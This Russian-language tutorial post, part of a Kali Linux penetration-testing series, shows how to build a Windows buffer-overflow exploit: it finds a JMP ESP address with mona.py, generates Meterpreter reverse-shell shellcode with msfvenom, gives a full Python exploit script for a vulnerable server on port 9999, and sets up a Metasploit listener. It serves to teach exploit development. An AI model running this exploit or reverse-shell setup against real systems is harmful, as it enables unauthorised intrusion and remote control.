#93 Kali Linux для продвинутого тестирования на проникновение. Определите правильные плохие символы и сгенерируйте шеллкод.
Здравствуйте, дорогие друзья.
Наша следующая задача — определить адрес JMP ESP, поскольку наша полезная нагрузка будет загружена в регистр ESP. Для этого мы будем использовать скрипт mona.py — инструмент Python, ускоряющий работу поиска во время разработки эксплойтов. Этот инструмент можно загрузить прямо с https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2010/mona.py.
После загрузки сценария Python его следует поместить в папку PyCommands места установки Immunity Debugger (c:\program files(x86)\Immunity Inc\Immunity Debugger\ Pycommands). После того как скрипт mona.py будет помещен в PyCommands, тестировщикам необходимо снова открыть Immunity Debugger и запустить !mona jmp –r esp, в терминале Immunity. Это должно отобразить JMP ESP. В нашем случае это 0x62501203, как показано на рисунке ниже:

Если отображение mona пропало, просто выполните !mona help в том же терминале в Immunity Debugger, чтобы вернуть экран. Теперь у нас все готово для создания полезной нагрузки. Вы можете использовать mona для выявления плохих символов. Тестировщики могут использовать любые общедоступные материалы, чтобы найти дополнительные способы использования уязвимости. Эта тема заслуживает отдельной книги.
Чтобы создать массив по умолчанию в mona, Вы можете использовать !mona bytearray, который сгенерирует выходные данные двух файлов с именами bytearray.txt и bytearray.bin со всеми недопустимыми символами.
Мы продолжим и создадим полезную нагрузку Windows с «\x00» в качестве плохого символа, используя msfvenom, выполнив следующую команду в терминале. Она сгенерирует шеллкод, который предоставит обратную оболочку Meterpreter на IP-адресе злоумышленника:
1 2 3 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport= -e x86/shikata_ga_nai -b '\x00' -f python |
Получаем оболочку
Наконец, мы находимся на последнем этапе создания полноценного эксплойта — нам просто нужно добавить слежку NOP, а затем переполнить буфер и записать наш шеллкод в систему, на которой работает уязвимый сервер приложений. Следующий фрагмент кода представляет собой полный код Python для эксплуатации уязвимого сервера:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import socket import struct s = socket.socket() s.connect(("<ServerIP>",9999)) buf = b"" buf += b"<Add the shell code from msfvenom here> shellcode = buf nops = b"\x90"*16 leng = 2984 offset = 2003 eip = struct.pack("<I",0x62501203) payload = [b"TRUN /.:/",b"A"*offset,eip,nops,shellcode,b"C"*(leng - offset - len(eip) - len(nops) - len(shellcode))] payload = b"".join(payload) s.send(payload) s.close() |
Сохраните окончательный сценарий Python как exploit.py и перед выполнением убедитесь, что Ваш прослушиватель запущен в Metasploit, выполнив следующие команды в терминале:
1 2 3 4 5 6 |
use exploit/mutli/handler set payload windows/meterpreter/reverse_tcp set lhost set lport 444 exploit -j |
Теперь все установлено. Злоумышленники теперь смогут реализовать и создать эксплойт, специфичный для Windows, используя программирование на Python. Следующим шагом будет запуск exploit.py из терминала:
python3 exploit.py
Успешная эксплуатация перезапишет буфер нашим шеллкодом, а затем выполнит его, чтобы создать обратную оболочку для злоумышленника, как показано на рисунке ниже:

На этом пятиэтапный подход к разработке эксплойта для Windows завершается. Мы изучим структуру PowerShell Empire, которая может быть использована злоумышленниками во время действий после эксплуатации.
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.